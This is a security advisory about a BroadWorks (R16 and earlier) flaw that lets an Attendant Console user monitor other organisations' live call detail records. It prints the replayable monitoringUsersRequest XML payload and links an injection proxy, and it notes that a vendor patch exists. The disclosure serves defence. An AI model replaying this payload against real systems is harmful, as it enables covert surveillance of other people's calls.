BroadWorks Arbitrary Call Detail Record Eavesdropping

` ( , ) (,  
. `.' ) ('. ',  
). , ('. ( ) (  
(_,) .`), ) _ _,  
/ _____/ / _ \ ____ ____ _____   
\____ \==/ /_\ \ _/ ___\/ _ \ / \   
/ \/ | \\ \__( <_> ) Y Y \  
/______ /\___|__ / \___ >____/|__|_| /  
\/ \/.-. \/ \/:wq   
(x.0)  
'=.|w|.='  
_='`"``=.  
  
presents..  
  
  
Name : BroadWorks Arbitrary Call Detail Record Eavesdropping  
Vendor Website : http://broadsoft.com/products/broadworks/  
Date Released : November 2, 2010  
Affected Software : BroadWorks <= R16  
Researcher : Nick Freeman ([email protected])  
  
  
PDF: http://security-assessment.com/files/advisories/BroadWorks_Call_Detail_Record_Disclosure_Vulnerability.pdf  
TXT: http://security-assessment.com/files/advisories/BroadWorks_Call_Detail_Record_Disclosure_Vulnerability.txt  
  
  
+-----------+  
|Description|  
+-----------+  
  
Security-Assessment.com discovered an issue regarding privilege separation between different enterprise groups  
within BroadWorks. This issue allows a user with Attendant Console privileges to view and record live call detail  
records for any user of the system, including users from other organisations.   
  
  
+------------+  
|Exploitation|  
+------------+  
  
  
Eavesdropping of call detail records requires knowledge of the target user’s BroadWorks username, e.g. [email protected]. BroadWorks uses Client Application Protocol (CAP) XML messages to communicate between client applications and the BroadWorks platform. One of the messages, monitoringUsersRequest, is transmitted by the Attendant Console to BroadWorks during the logon procedure. This command includes a list of usernames that the Attendant Console can monitor for incoming and outgoing calls. A malicious user can replay this message with usernames from other enterprises, and once this operation has completed, all incoming and outgoing calls for  
the target user(s) will be visible to the Attendant.   
  
The following is an example XML message to add a target user (in this case, [email protected])  
to the monitoring list. This must be sent after successful authentication to the BroadWorks platform.  
  
+-----------------------------------------------------------------------------+  
|<?xml version="1.0" encoding="UTF-8" standalone="yes"?> |  
| <BroadsoftDocument protocol="CAP" version="14.0"> |  
| <command commandType = "monitoringUsersRequest"> |  
| <commandData> |  
| <user userType="AttendantConsole" userUid = "AttendantConsoleUserUID"> |  
| <applicationId>Client License 3</applicationId> |  
| <monitoring monType="Add"/> |   
| <monUser>[email protected]</monUser> |  
| </user> |  
| </commandData> |  
| </command> |  
| </BroadsoftDocument> |   
+-----------------------------------------------------------------------------+  
  
  
A basic proxy is available at http://www.security-assessment.com/files/advisories/bwe.py which can intercept  
and modify the XML stream, allowing the injection of monitoringUsersRequest packets.  
  
  
+--------+  
|Solution|  
+--------+  
  
A patch is available from Broadsoft for this vulnerability.  
  
  
+------+  
|Credit|  
+------+  
  
Discovered and advised to Broadworks June 2010 by Nick Freeman of Security-Assessment.com.  
  
  
+-----------------------------+  
|About Security-Assessment.com|  
+-----------------------------+  
  
Security-Assessment.com is a New Zealand based world leader in web application testing, network security and penetration testing. Security-Assessment.com  
services organisations across New Zealand, Australia, Asia Pacific, the United States and the United Kingdom.   
  
  
  
  
`